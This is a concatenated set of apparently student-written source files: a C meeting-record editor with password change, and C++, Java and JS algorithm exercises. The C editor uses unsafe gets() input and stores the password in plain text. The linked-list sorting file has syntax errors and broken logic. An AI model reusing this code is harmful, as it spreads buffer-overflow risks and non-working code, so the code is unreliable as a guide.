
        fp = fopen ( filename, "rb+" );

        if ( fp == NULL )
        {
            printf("\n\t\t\t\t\033[0;31mRECORD DOES NOT EXISTS: ");
            printf("\n\t\t\t\tPRESS ANY KEY TO GO BACK\033[0m");
            getch();
            return;
        }

        while ( fread ( &e, sizeof ( e ), 1, fp ) == 1 )
        {
            if(strcmp(e.time,time)==0)
            {
                printf("\033[0;36m\n\t\t\t\tYOUR OLD RECORD WAS AS:");
                printf("\n\t\t\t\tTIME: %s",e.time);
                printf("\n\t\t\t\tMEETING WITH: %s",e.name);
                printf("\n\t\t\t\tMEETING AT: %s",e.place);
                printf("\n\t\t\t\tDURATION: %s",e.duration);
                printf("\n\t\t\t\tNOTE: %s",e.note);

                printf("\033[0m\n\n\t\t\t\t\033[0;35mWHAT WOULD YOU LIKE TO EDIT..");
                printf("\n\t\t\t\t[1] TIME.");
                printf("\n\t\t\t\t[2] MEETING PERSON.");
                printf("\n\t\t\t\t[3] MEETING PLACE.");
                printf("\n\t\t\t\t[4] DURATION.");
                printf("\n\t\t\t\t[5] NOTE.");
                printf("\n\t\t\t\t[6] WHOLE RECORD.");
                printf("\n\t\t\t\t[7] GO BACK TO MAIN MENU.");
                do
                {
                    printf("\n\n\t\t\t\tENTER YOUR CHOICE: \033[0m");
                    fflush(stdin);
                    scanf("%d",&num);
                    fflush(stdin);

                    switch(num)
                    {
                    case 1:
                        printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m");
                        printf("\n\t\t\t\t\033[0;35mNEW TIME:[hh:mm]: \033[0m");
                        gets(e.time);
                        break;

                    case 2:
                        printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m");
                        printf("\n\t\t\t\t\033[0;35mNEW MEETING PERSON: \033[0m");
                        gets(e.name);
                        break;

                    case 3:
                        printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m");
                        printf("\n\t\t\t\t\033[0;35mNEW MEETING PLACE: \033[0m");
                        gets(e.place);
                        break;

                    case 4:
                        printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m");
                        printf("\n\t\t\t\t\033[0;35mDURATION: \033[0m");
                        gets(e.duration);
                        break;

                    case 5:
                        printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m");
                        printf("\n\t\t\t\t\033[0;35mNOTE: \033[0m");
                        gets(e.note);
                        break;

                    case 6:
                        printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m");
                        printf("\n\t\t\t\t\033[0;35mNEW TIME:[hh:mm]: \033[0m");
                        gets(e.time);
                        printf("\n\t\t\t\t\033[0;35mNEW MEETING PERSON: \033[0m");
                        gets(e.name);
                        printf("\n\t\t\t\t\033[0;35mNEW MEETING PLACE: \033[0m");
                        gets(e.place);
                        printf("\n\t\t\t\t\033[0;35mDURATION: \033[0m");
                        gets(e.duration);
                        printf("\n\t\t\t\t\033[0;35mNOTE: \033[0m");
                        gets(e.note);
                        break;

                    case 7:
                        printf("\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO GO BACK...\033[0m\n");
                        getch();
                        return ;
                        break;

                    default:
                        printf("\n\n\t\t\t\t\033[0;31mYOU TYPED SOMETHING ELSE...TRY AGAIN\033[0m\n");
                        break;
                    }
                }
                while(num<1||num>8);
                fseek(fp,-sizeof(e),SEEK_CUR);
                fwrite(&e,sizeof(e),1,fp);
                fseek(fp,-sizeof(e),SEEK_CUR);
                fread(&e,sizeof(e),1,fp);
                choice=5;
                break;
            }
        }

        if(choice==5)
        {
            system("cls");
            printf("\n\t\t\t\t\033[0;32mEDITING COMPLETED...\n\n\n\033[0m");
            printf("\033[0;36m-------------------------------------------------------------------------------------\n");
            printf("\t\t\t\tTHE NEW RECORD IS:\n");
            printf("-------------------------------------------------------------------------------------\n");
            printf("\n\t\t\t\tTIME: %s",e.time);
            printf("\n\t\t\t\tMEETING WITH: %s",e.name);
            printf("\n\t\t\t\tMEETING AT: %s",e.place);
            printf("\n\t\t\t\tDURATION: %s",e.duration);
            printf("\n\t\t\t\tNOTE: %s",e.note);
            fclose(fp);
            printf("\033[0m\n\n\t\t\t\t\033[0m\033[0;35mWOULD YOU LIKE TO EDIT ANOTHER RECORD.(Y/N)\033[0m");
            scanf("%c",&choice);
            count++;
        }
        else
        {
            printf("\n\t\t\t\t\033[0;31mTHE RECORD DOES NOT EXIST::\n");
            printf("\n\t\t\t\tWOULD YOU LIKE TO TRY AGAIN...(Y/N)\033[0m");
            scanf("%c",&choice);
        }
    }
    while(choice=='Y'||choice=='y');

    fclose ( fp ) ;

    if(count==1)
        printf("\n\t\t\t\t\033[0;32m%d FILE IS EDITED...\n\n\n",count);
    else if(count>1)
        printf("\n\t\t\t\t%d FILES ARE EDITED..\n\n\n",count);
    else
        printf("\n\t\t\t\tNO FILES EDITED...\n\n\n");

    printf("\t\t\t\t\033[0m\033[0;33mPRESS ANY KEY TO EXIT...\033[0m");
    getch();
}

void changePassword(){
    system("cls");
    char ch, username[20], confirm[20]={0}, pass[15]={0};
    FILE *fp;
    int i,choice=0;
    printf("\033[0;34m************************************************************************************\n");
    printf("\t\t\t\tCHANGE PASSWORD\n");
    printf("************************************************************************************\033[m\n");
    printf("\n\n\t\033[0;31mPLEASE NOTE YOU HAVE TO ENTER PREVIOUS PASSWORD TO ADD NEW PASSWORD\n\t    ENTER YOUR PASSWORD CAREFULLY. YOU HAVE ONLY THREE CHANCES.\033[0m\n");
    printf("\n\n\t\t\t\033[0;33mPress Any Key To Continue...\n\033[0m");
    getch();

    int access=login();
    system("cls");
    if(access){
        do{
            printf("\033[0;34m************************************************************************************\n");
            printf("\t\t\t\tCHANGE PASSWORD\n");
            printf("************************************************************************************\033[m\n");
            fp = fopen("login.txt","w"); //OPENS IN WRITE MODE AND CLEARS ALL PRESENT DATA
            if(fp==NULL){
                printf("\n\033[0;31mError with the login file...[MISSING]\033[0m\n");
                getch();
                return;
            }
            else{
                i=0;
                printf("\t\t\033[0;35mENTER THE NEW PASSWORD : \033[0m");
                do{
                    pass[i]=getch();
                    if(pass[i]!='\r')
                        printf("*");
                    i++;
                }while(pass[i-1]!='\r');
                pass[i-1]='\0';

                i=0;
                printf("\n\n\t\t\033[0;35mENTER THE CONFIRM PASSWORD : \033[0m");
                do{
                    confirm[i]=getch();
                    if(confirm[i]!='\r')
                        printf("*");
                    i++;
                }while(confirm[i-1]!='\r');
                confirm[i-1]='\0';

                if(strcmp(pass,confirm)==0){
                    i=0;
                    while(pass[i]!='\0'){
                        ch=pass[i];
                        putc(ch,fp); //INSERTS INTO THE FILE
                        i++;
                    }

                    putc(EOF,fp);

                    fclose(fp);
                    choice=0;
                }
                else{
                    printf("\n\n\t\t\033[0;31mTHE NEW PASSWORD DOES NOT MATCH\033[0m\n\n");
                    printf("\t\tPress Any Key...\n");
                    getch();
                    choice=1;
                    system("cls");
                }
            }
        }while(choice);
        printf("\n\n\t\t\t\t\033[0;32mPASSWORD CHANGED SUCCESSFULLY...\033[0m\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO GO BACK...\033[0m\n\n\n");
        getch();
    }
}


<|start_filename|>DSA/Graphs/make_graph.cpp<|end_filename|>
//using list

#include <bits/stdc++.h>
using namespace std;

class Graph{
    int v;

    //pointer list of vertices
    list<int>*l;
    public:
    Graph(int v)
    {
        this->v=v;
        l=new list<int>[v];
    }

    void addEdges(int x, int y)
    {
        l[x].push_back(y);
        l[y].push_back(x);
    }

    void print()
    {
        for(int i=0;i<v;i++)
        {
            cout<<"vertex "<<i<<"->";
            for(auto x:l[i])
            cout<<x<<", ";
            cout<<endl;
        }
    }
};

int main() {
    Graph g(3);
    g.addEdges(0,1);
    g.addEdges(1,2);
    g.addEdges(2,0);

    g.print();
}


<|start_filename|>CPP/Data Structures/Hashmap/hashmap.cpp<|end_filename|>
#include <iostream>
#include "hashmapClass.h"
#include <string>
using namespace std;


int main (){
    map <int> ourmap(13);
    string key;
    int value;
    cout << "Enter key (Enter 0 for termination) : ";
    cin >> key;
    while (key != "0"){
        cout << "Enter Value of " << key << " : ";
        cin >> value;
        ourmap.insert(key,value);
        cout << "Enter another key (Enter 0 for termination) : ";
        cin >> key;
    }
    cout << endl;
    ourmap.display();
    
    ourmap.removeKey("Gopal");
    cout << "List after removing key" <<  endl;
    ourmap.display();
    return 0;
}

<|start_filename|>Python/Sakha/Sakha/static/js/settings.js<|end_filename|>
/*--------------------------------
* Functionality related with hiding flashed message
____________________________________*/
const msgContainer = document.querySelector('.message--container');
const msgHideBtn = document.querySelector('.message__hide__btn');

if(msgContainer) {
    
    msgHideBtn.addEventListener('click', () => {
        msgContainer.classList.add('message--hide');
    })
}



/*-------------------------------
 * Functionality related with sending json for names fields
---------------------------- */
const firstname = document.querySelector('.firstname__field');
const lastname = document.querySelector('.lastname__field');
const nameForm = document.querySelector('.nameForm');


nameForm.addEventListener('submit', e => {
    e.preventDefault();

    fetch('/updateName', {
        headers : {
            'Content-Type':'application/json'
        },
        method : 'POST',
        body : JSON.stringify({
            'firstname':firstname.value,
            'lastname':lastname.value
        })
    })
    .then(res => res.text()).then(res => res)
    .catch(res => console.log(res.text()))

    msgContainer.classList.remove('message--hide');
})



/*-------------------------------
 * Functionality related with sending json for about_user field
---------------------------- */
const aboutUser = document.querySelector('.about_user');
const address = document.querySelector('.address')
const aboutForm = document.querySelector('.aboutForm');

aboutForm.addEventListener('submit', e => {
    e.preventDefault();

    fetch('/updateAboutUser', {
        headers : {
            'Content-Type':'application/json'
        },
        method : 'POST',
        body : JSON.stringify( {
            'about_user':aboutUser.value,
            'address':address.value
        })
    })
    .then(res => res.text()).then(res => res)
    .catch(res => console.log(res.text()))

    msgContainer.classList.remove('message--hide');
})

<|start_filename|>DSA/DSA-VIT/Linked Lists/sorting.cpp<|end_filename|>
//use runner method
//change the direction of pointers rather than swapping
//connect the node to previous node which is NULL
//store the address into the next node

#include <bits/stdc++.h>
using namespace std;

//initially
class node{
    public:
    int data;
    node*next;

    node(int d)
    {
        data=d;
        next=NULL;
    }
};


//passing by reference
void insertathead(node*&head,int d)
{
    if(head==NULL)
    {
    	//create a new head
        head=new node(d);
        return;
    }
    //create a new node
    node*n=new node(d);
    n->next=head;
    head=n;
}

int length(node*head)
{
    int cnt=0;
    while(head!=NULL)
    cnt++;
    return cnt;
}

void insertattail(node*&head,int data)
{
    if(head==NULL)
    {
        head=new node(data);
        return;
    }
    node*tail=head;
    while(tail->next!=NULL)
    {
        tail=tail->next;
    }
    tail->next=new node(data);
    return;
}


void insertatmiddle(node*&head,int data,int p)
{
    if(head==NULL || p==0)
    {
        insertathead(head,data);
    }
    else if(p>length(head))
    insertattail(head,data);
    else{
        //take p-1 jumps
        int jumps=1;
        node*temp=head;

        while(jumps<=p-1)
        {
            temp=temp->next;
            jumps++;
        }
        node*n=new node(data);
        n->next=temp->next;
        temp->next=n;
    }
}

void deleteathead(node*&head)
{
    if(head==NULL)
        return;

    //making sure not to delete the connection to the next node
    node*temp=head->next;
    delete head;
    temp=head;
}

void print(node*head)
{
    while(head!=NULL)
    {
        cout<<head->data<<" ->";
        head=head->next;
    }
}


//here only linear search is possible because we can't access any element directly in linked list
bool search(node*&head,int key)
{
    node*temp=head;
    while(temp!=NULL)
    {
        if(key==head->data)
            return true;
        temp=temp->next;
    }
    return false;
}

void reverse(node*&head)
{
	node*current=head;
	node*prev=NULL;
	node*next_node;
	while(current!=NULL)
	{
		//store the address in next node
		next_node=current->next;

		//connect it to previous node
		prev=current->next;

		//updating the nodes
		prev=current;
		current=next_node;
	}
	head=prev;
}

node* middle_node(node*head)
{
	if(head==NULL)
		return NULL;

	//define 2 pointers
	node*fast=head->next;
	node*slow=head;
	while(fast->next!=NULL)
	{
		//jumps 2 at a time
		fast=fast->next->next

		//jumps 1 at a time
		slow=slow->next;
	}
	return slow;
}

node* sort_list(node*head)
{
	if(head==NULL)
		return NULL;

	//break about the middle node
	node*mid=middle_node(head);

	//form 2 separate lists
	node*a=head->next;
	node*b=mid->next;
	mid->next=NULL;

	//use rescursion to sort
	a=sort_list(a);
	b=sort_list(b);

	//merge them
	node*c=merge(a,b);
	return c;
}


int main() {
    node*head=NULL;
    insertathead(head,4);
    insertathead(head,1);
    insertathead(head,0);

    insertatmiddle(head,3,2);
    insertattail(head,2);
    print(head);
    deleteathead(head);
    print(head);

    search(head,key);
}



<|start_filename|>C/linear_search.c<|end_filename|>
#include <stdio.h>

int main()
{
    int arr[50];
    int n, number, ind = -1;
    printf("Enter the number of elements : ");
    scanf("%d", &n);
    printf("Enter Array Elements : ");
    for (int i = 0; i < n; i++)
    {
        scanf("%d", &arr[i]);
    }
    printf("\nEnter the Number to be searched : ");
    scanf("%d", &number);
    for (int i = 0; i < n; i++)
    {
        if (number == arr[i])
        {
            ind = i;
            break;
        }
    }
    if (ind != -1)
    {
        printf("\nElement %d found at %d position", number, ind + 1);
    }
    else
    {
        printf("Element not found :)\n");
    }
    return 0;
}

<|start_filename|>CPP/quicksort.cpp<|end_filename|>
#include<iostream>
#include<cstdlib>
 
using namespace std;
 
// Swapping two values.
void swap(int *a, int *b)
{
	int temp; 
	temp = *a;
	*a = *b;
	*b = temp;
}
 

int Partition(int a[], int low, int high)
{
	int pivot, index, i;
	index = low;
	pivot = high;
 

	for(i=low; i < high; i++)
	{
		if(a[i] < a[pivot])
		{
			swap(&a[i], &a[index]);
			index++;
		}
	}

	swap(&a[pivot], &a[index]);
 
	return index;
}
 

int RandomPivotPartition(int a[], int low, int high)
{
	int pvt, temp;
	 int n = rand();

	pvt = low + n%(high-low+1);
 

	swap(&a[high], &a[pvt]);
 
	return Partition(a, low, high);
}
 
int QuickSort(int a[], int low, int high)
{
	int pindex;
	if(low < high)
	{       pindex = RandomPivotPartition(a, low, high);
	 	QuickSort(a, low, pindex-1);
		QuickSort(a, pindex+1, high);
	}
	return 0;
}
 
int main()
{
	int n, i;
	cout<<"\nEnter the number of elements to be sorted: ";
	cin>>n;
 
	int arr[n];
	for(i = 0; i < n; i++)
	{
		cout<<"Enter element "<<i+1<<": ";
		cin>>arr[i];
	}
 
	QuickSort(arr, 0, n-1);
 
	// Printing the sorted data.
	cout<<"\nSorted Array ";
	for (i = 0; i < n; i++)
        	cout<<"  "<<arr[i];
 
	return 0;
}
	


<|start_filename|>DSA/Searching/nth root.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
 
void findNthRoot(double x, int n)
{
 
    // Initialize boundary values
    double low, high;
    if (x >= 0 and x <= 1)
    {
        low = x;
        high = 1;
    }
    else
    {
        low = 1;
        high = x;
    }
 
    // Used for taking precision
    double epsilon = 0.00000001;
 
    // Do binary search
    double guess = (low + high) / 2;
    while (abs((pow(guess, n)) - x) >= epsilon)
    {
        if (pow(guess, n) > x)
        {
            high = guess;
        }
        else
        {
            low = guess;
        }
        guess = (low + high) / 2;
    }
 
    cout << fixed << setprecision(16) << guess;
}

int main()
{
    double x = 5;
    int n = 2;
    findNthRoot(x, n);
}

<|start_filename|>Python/Sakha/Sakha/templates/users/userProfile.html<|end_filename|>
{% extends 'others/layout.html' %}
{% block stylesheet %}
<link rel="stylesheet" href="{{url_for('static', filename='css/userProfile.min.css')}}">
{% endblock stylesheet %}

{% block body %}
<main class="profile--main--container">


    <!-- _____________________________  User pictures  _________________________________ -->
    <section class="profile__sub__container__one">

        <div class="profile__header__img__container">
            <img src="{{url_for('static', filename='user-images/'+user.header_pic)}}" alt="User Header Picture" class="header__img">
        </div>

        <div class="profile__avatar__img__container">

            <div class="avatar__container">
                <div class="avatar__wrapper">
                    <img src="{{url_for('static', filename='user-images/'+user.profile_pic)}}" alt="User Profile Picture" class="avatar">
                </div>
                <h2>{{user.firstname}} {{user.lastname}}</h2>
                <p>@{{user.username}}</p>
            </div>

        </div>

    </section>
    <!-- ______________________________________________ -->




    <!-- ______________________________  User Info section  __________________________________ -->
    <section class="profile__sub__container__two">

        <div>
            {% if user.about_user %}
            <p class="about_user">{{user.about_user}}</p>
            {% endif %}

            {% if user.address %}
            <div class="location__container">
                <i class="fas fa-map-marker-alt"></i>
                <span>{{user.address}}</span>
            </div>
            {% endif %}

            <div class="follow__details__container">
                <button class="followers__btn">{{user.followers.count()}} Followers</button>
                <button class="following__btn">{{user.followed.count()}} Following</button>
            </div>
        </div>

        <div class="follow__btn__container">

            {% if current_user.is_following(user) %}
            <button class="follow__btn " data-userid="{{user.id}}">
                following
            </button>

            {% else %}
            <button class="follow__btn" data-userid="{{user.id}}">
                follow
            </button>
            {% endif %}

        </div>

    </section>
    <!-- ______________________________________________ -->



    
    <!--------------------------------- All the posts of the current user ---------------------------------->
    <section class="profile__user__posts__container">

        <div class="profile__user__posts">
        
            {% for post in posts %}
            <article>

                <div class="post__header">

                    <div class="post__author__container">

                        <div class="post__author__img__wrapper">
                            <img src="{{url_for('static',filename='user-images/'+ user.profile_pic)}}" alt="">
                        </div>

                        <div class="post__author__name__container">
                            <p class="author__name" title='Post Author'>{{user.firstname}}</p>
                            <span>{{post.postDate.strftime('%d/%m/%Y')}}</span>
                        </div>

                    </div>

                </div>


                <div class="post__body">

                    <div class="post__content__container">
                        <a href="">
                            {{post.content | truncate(250, False, '')}}
                        </a>
                    </div>

                    {% if post.postImage %}
                    <div class="post__image__container">
                        <a href="">
                            <img src="{{url_for('static',filename='user-images/'+post.postImage)}}" alt="Post Image">
                        </a>
                    </div>
                    {% endif %}

                </div>


                <div class="post__footer">
                    {% if current_user.has_liked(post) %}
                    <button class="heart__btn heart__btn__active" data-postid = {{post.id}}>
                        <i class="fas fa-heart"></i>
                    {% else %}   
                    <button class="heart__btn" data-postid = {{post.id}}>
                        <i class="far fa-heart"></i>
                    {% endif %}

                        <span style="color:rgb(63, 61, 79)">{{post.likes.count()}}</span>
                    </button>

                    <a href="" class="comment__btn" title='Comment'>
                        <i class="fas fa-comment-alt"></i>
                        <span>10</span>
                    </a>
                </div>

            </article>
            {% endfor %}
            
        </div>

    </section>

    
</main>
{% endblock body %}


{% block script %}
<script src="{{url_for('static',filename='js/userProfile.js')}}"></script>
{% endblock %}

<|start_filename|>CPP/Permitation.cpp<|end_filename|>
//author : <NAME>
//hackober fest submittion
#include<iostream>
#include<bits/stdc++.h>
using namespace std;
 #define ios  ios::sync_with_stdio(false);cin.tie(NULL)
 #define endl  "\n"
 #define ll long long  
 
 void solve()
 {
     ll n;
     cin>>n;
     if(n==1)
     {
         cout<<1<<endl;
     }else if(n==2||n==3){
         cout<<"NO SOLUTION"<<endl;
     }else if(n>3){
         vector <ll> arr;
         for(ll i=2;i<=n;i=i+2)
         {
             arr.push_back(i);
         }
         for(ll i=1;i<=n;i=i+2)
         {
             arr.push_back(i);
         }
         for(ll i=0;i<arr.size();i++)
         {
             cout<<arr[i]<<" ";
         }
         cout<<endl;
 
     }
 } 
int  main()
{
    ios;
    int tt; //
    tt=1;
    //cin>>tt;
 
    while(tt--)
    {
        solve();
    }
    return 0;
}

<|start_filename|>DSA/Competitive programming/Graphs/DiagonalTraversalInTree.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

struct Node
{
    int data;
    struct Node * left;
    struct Node * right;
};
Node* root = NULL;

// Utility function to create a new Tree Node
Node* newNode(int val)
{
    Node *temp = new Node;
    temp->data = val;
    temp->left = NULL;
    temp->right = NULL;

    return temp;
}

// Function to insert item in a tree
void insertItem(int item)
{
    Node *newnode = newNode(item);
    if(!root) {
        root = newnode;
        return;
    }
    Node *cur, *prev;
    cur = root;
    while(cur!= NULL) {
        prev = cur;
        if(cur->data > item)
            cur = cur->left;
        else
            cur = cur->right;
    }
    if(prev->data > item)
        prev->left = newnode;
    else
        prev->right = newnode;
}

vector<int> diagonal(Node *root)
{
   // your code here
   vector<int> ans;
   queue<Node *> q;
    q.push(root);
    while(!q.empty()){
        Node *t=q.front();
        while(t){
            ans.push_back(t->data);
            if(t->left)
                q.push(t->left);
            t=t->right;
        }
        q.pop();
    }
    return ans;
}

int main()
{
    int n;
    cin>>n;
    int arr[n];
    for(int i = 0; i < n; i++) {
        cin>>arr[i];
        insertItem(arr[i]);
    }
    vector<int> ans = diagonal(root);
    for(int i = 0; i < ans.size(); i++) {
        cout<<ans[i]<<" ";
    }
    return 0;
}


<|start_filename|>Java/MergeTwoSorted.java<|end_filename|>
import java.util.*;
import java.lang.*;
import java.io.*;
 
class MergeTwoSorted
{
    // Merge arr1[0..n1-1] and arr2[0..n2-1]
    // into arr3[0..n1+n2-1]
    public static void mergeArrays(int[] arr1, int[] arr2, int n1,
                                int n2, int[] arr3)
    {
        int i = 0, j = 0, k = 0;
     
        // Traverse both array
        while (i<n1 && j <n2)
        {
            // Check if current element of first
            // array is smaller than current element
            // of second array. If yes, store first
            // array element and increment first array
            // index. Otherwise do same with second array
            if (arr1[i] < arr2[j])
                arr3[k++] = arr1[i++];
            else
                arr3[k++] = arr2[j++];
        }
     
        // Store remaining elements of first array
        while (i < n1)
            arr3[k++] = arr1[i++];
     
        // Store remaining elements of second array
        while (j < n2)
            arr3[k++] = arr2[j++];
    }
     
    public static void main (String[] args)
    {
        int[] arr1 = {1, 3, 5, 7};
        int n1 = arr1.length;
     
        int[] arr2 = {2, 4, 6, 8};
        int n2 = arr2.length;
     
        int[] arr3 = new int[n1+n2];
         
        mergeArrays(arr1, arr2, n1, n2, arr3);
     
        System.out.println("Array after merging");
        for (int i=0; i < n1+n2; i++)
            System.out.print(arr3[i] + " ");
    }
}


<|start_filename|>DSA/STL/mountain.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n;
    cin>>n;
    int a[n];

    for(int i=0;i<n;i++)
    cin>>a[i];

    int largest=0;

    for(int i=1;i<=n-2;)
    {
        //condition for peaks
        if(a[i]>a[i-1] && a[i]>a[i+1])
        {
           //backward traversal
           int j=i,cnt=1;
           while(j>=1 and a[j]>a[j-1])
           {
               cnt++;
               j--;
           }

           //forward traversal
           while(a[i]>a[i+1] and i<=n-2)
           {
               cnt++;
               i++;
           }
           largest=max(largest,cnt);
        }
        else
            i++;
    }
    
    cout<<largest;
}


<|start_filename|>Java/Djikstra.java<|end_filename|>
import java.util.*;

public class GFG {
    private int dist[];
    private Set<Integer> settled;
    private PriorityQueue<Node> pq;

    private int V;
    List<List<Node> > adj;

    public GFG(int V)
    {
        this.V = V;
        dist = new int[V];
        settled = new HashSet<Integer>();
        pq = new PriorityQueue<Node>(V, new Node());
    }

    public void dijkstra(List<List<Node> > adj, int src)
    {
        this.adj = adj;

        for (int i = 0; i < V; i++)
            dist[i] = Integer.MAX_VALUE;

        pq.add(new Node(src, 0));

        dist[src] = 0;

        while (settled.size() != V) {
            if (pq.isEmpty())
                return;

            int u = pq.remove().node;

            if (settled.contains(u))
                continue;

            settled.add(u);

            e_Neighbours(u);
        }
    }

    private void e_Neighbours(int u)
    {

        int edgeDistance = -1;
        int newDistance = -1;

        for (int i = 0; i < adj.get(u).size(); i++) {
            Node v = adj.get(u).get(i);

            if (!settled.contains(v.node)) {
                edgeDistance = v.cost;
                newDistance = dist[u] + edgeDistance;

                if (newDistance < dist[v.node])
                    dist[v.node] = newDistance;

                pq.add(new Node(v.node, dist[v.node]));
            }
        }
    }

    public static void main(String arg[])
    {

        int V = 5;
        int source = 0;

        List<List<Node> > adj
            = new ArrayList<List<Node> >();

        for (int i = 0; i < V; i++) {
            List<Node> item = new ArrayList<Node>();
            adj.add(item);
        }

        adj.get(0).add(new Node(1, 9));
        adj.get(0).add(new Node(2, 6));
        adj.get(0).add(new Node(3, 5));
        adj.get(0).add(new Node(4, 3));

        adj.get(2).add(new Node(1, 2));
        adj.get(2).add(new Node(3, 4));

        GFG dpq = new GFG(V);
        dpq.dijkstra(adj, source);

        System.out.println("The shorted path from node :");

        for (int i = 0; i < dpq.dist.length; i++)
            System.out.println(source + " to " + i + " is " + dpq.dist[i]);
    }
}

class Node implements Comparator<Node> {
    public int node;
    public int cost;

    public Node() {}

    public Node(int node, int cost)
    {
        this.node = node;
        this.cost = cost;
    }

    @Override public int compare(Node node1, Node node2)
    {

        if (node1.cost < node2.cost)
            return -1;

        if (node1.cost > node2.cost)
            return 1;

        return 0;
    }
}


<|start_filename|>DSA/Graphs/topological_sort.cpp<|end_filename|>
/** We find the order in which when traversed it gives an order such that 
 * all the nodes goes to the right when they are linearly arranged **/

#include <bits/stdc++.h>
using namespace std;

int dfs(int i, int node, vector<int> &ordering, vector<vector<int>> adj, vector<bool> &vis)
{
    vis[node] = true;
    vector<int> neighbour = adj[node];

    for (auto next : neighbour)
    {
        if (!vis[next])
            i = dfs(i, next, ordering, adj, vis);
    }

    ordering[i] = node; // we push the current node in the list of visited to maintain the order
    return i - 1;
}

vector<int> topologicalSort(vector<vector<int>> adj, int N)
{
    vector<bool> vis(N, false);
    vector<int> ordering(N, 0);
    int i = N - 1;                 // we start from last because visit the end nodes first
    for (int at = 0; at < N; at++) // we keep doing this until all the nodes are not visited
    {
        if (!vis[at])
            i = dfs(i, at, ordering, adj, vis);
    }

    return ordering;
}

/** Another approach for topological sort is called Kahn's Algorithm,
 * here we maintain the in_degree of every node
 * In_degree - no. of incoming edges in a graph
 * we can also use it to detect cycles, in a DAG, let u to v be the acyclic longest
 * path, that means in_degree(u) = 0 and in_degree(v) = 1
 * 
 * We can do the following, keep track of every node's in_degree
 * and store in a queue the nodes whose in_degree is 0
 * then we go pop the queue, store the topological order and visit all the 
 * connected nodes and update the in_degree of nodes as -1 of current, then if any node
 * has in_degree == 0, push it in queue and keep the count of the no. of nodes visited,
 * if cnt < no. of nodes, then graph has a cycle **/

vector<int> TopSortKahn(vector<vector<int>> adj, int n)
{

    int cnt = 0; // no. of nodes visited
    vector<int> in_degree(n, 0);
    vector<int> top_order;
    for (int i = 0; i < n; i++)
    {
        for (auto next : adj[i])
            in_degree[next]++;
    }

    queue<int> q;
    for (int i = 0; i < n; i++)
    {
        if (in_degree[i] == 0)
            q.push(i);
    }

    while (!q.empty())
    {
        int x = q.front();
        q.pop();
        top_order.push_back(x);

        for (auto next : adj[x])
        {
            if (--in_degree[next] == 0)
                q.push(next);
        }

        cnt++;
    }

    if (cnt != n)
        return {-1};

    return top_order;
}

int main()
{
    int n, e;
    cout << "Enter no. nodes and edges ";
    cin >> n >> e;

    vector<vector<int>> adj(n);
    for (int i = 0; i < e; i++)
    {
        int from, to;
        cin >> from >> to;
        adj[from].push_back(to);
    }

    vector<int> ordering = topologicalSort(adj, n);
    cout << "Topological ordering normal \n";
    for (auto x : ordering)
        cout << x << " ";
    cout << endl;

    ordering = TopSortKahn(adj, n);
    cout << "Topological ordering Kahn's \n";
    for (auto x : ordering)
        cout << x << " ";
    cout << endl;
}

<|start_filename|>C/BinarySearchTree.c<|end_filename|>
#include<stdio.h>
#include<stdlib.h>
struct node
{
    int data;
    struct node *left;
    struct node *right;
};
struct node *root;
struct node *makenode(int x)
{
    struct node *p;
    p=(struct node *)malloc(sizeof(struct node));
    p->data=x;
    p->left=NULL;
    p->right=NULL;
    return p;
}
int BSTinsert(int key)
{
    struct node *x,*y,*z;
    x=root;
    y=makenode(key);
    while(x!=NULL)
    {
        z=x;
        if(x->data<key)
            x=x->right;
        else
            x=x->left;
    }
    if(key<z->data)
        z->left=y;
    else
        z->right=y;
}
int BSTmin(struct node *s)
{
    while(s->left!=NULL)
    {
        s=s->left;
    }
    return s->data;
}
int BSTmax(struct node *s)
{
    while(s->right!=NULL)
    {
        s=s->right;
    }
    return s->data;
}
struct node *BSTsearch(int key)
{
    struct node *t;
    t=root;
    while(t!=NULL)
    {
      if(t->data==key)
        return t;
      else
      {
        if(key<t->data)
            t=t->left;
        else
            t=t->right;
      }
    }
    return NULL;
}
int InOrdertraversal(struct node *t)
{
    if(t!=NULL)
    {
        InOrdertraversal(t->left);
        printf(" %d",t->data);
        InOrdertraversal(t->right);
    }
}
void main()
{
    int A[]={13,45,23,67,56,93,72,18,35};
    root=NULL;
    root=makenode(A[0]);
    for(int i=1;i<9;i++)
    {
        BSTinsert(A[i]);
    }
    printf("Elements in the binary search tree ->");
    InOrdertraversal(root);
    int p=BSTmax(root);
    printf("\nMax Element->%d",p);
    p=BSTmin(root);
    printf("\nMin Element->%d",p);
    struct node *r=BSTsearch(56);
    printf("\nSearched element is present at %u",r);
    printf("\nSearched element->%d",r->data);
}


<|start_filename|>JS/UglyNumber.js<|end_filename|>
var isUgly = function(num) {
    if(num<=0) return false; 
    while(parseInt(num/2)===num/2) { num/=2; }  // using the fact that 
    while(parseInt(num/3)===num/3) { num/=3; }  // multiplication is commutative, 
    while(parseInt(num/5)===num/5) { num/=5; }  // hence the order doesn't matter
    return num===1;
};
console.log(isUgly(1));
console.log(isUgly(14));
console.log(isUgly(6));
console.log(isUgly(100));

<|start_filename|>DSA/AVL Trees/301.DeletionfromAVLTreeWithRotationC++.cpp<|end_filename|>
#include <iostream>

using namespace std;
 
class Node {
public:
    Node* lchild;
    int data;
    Node* rchild;
    int height;
};
 
class AVL{
public:
    Node* root;
 
    AVL(){ root = nullptr; }
 
    // Helper methods for inserting/deleting
    int NodeHeight(Node* p);
    int BalanceFactor(Node* p);
    Node* LLRotation(Node* p);
    Node* RRRotation(Node* p);
    Node* LRRotation(Node* p);
    Node* RLRotation(Node* p);
    Node* InPre(Node* p);
    Node* InSucc(Node* p);
 
    // Insert
    Node* rInsert(Node* p, int key);
 
    // Traversal
    void Inorder(Node* p);
    void Inorder(){ Inorder(root); }
    Node* getRoot(){ return root; }
 
    // Delete
    Node* Delete(Node* p, int key);
};
 
int AVL::NodeHeight(Node *p) {
    int hl;
    int hr;
 
    hl = (p && p->lchild) ? p->lchild->height : 0;
    hr = (p && p->rchild) ? p->rchild->height : 0;
 
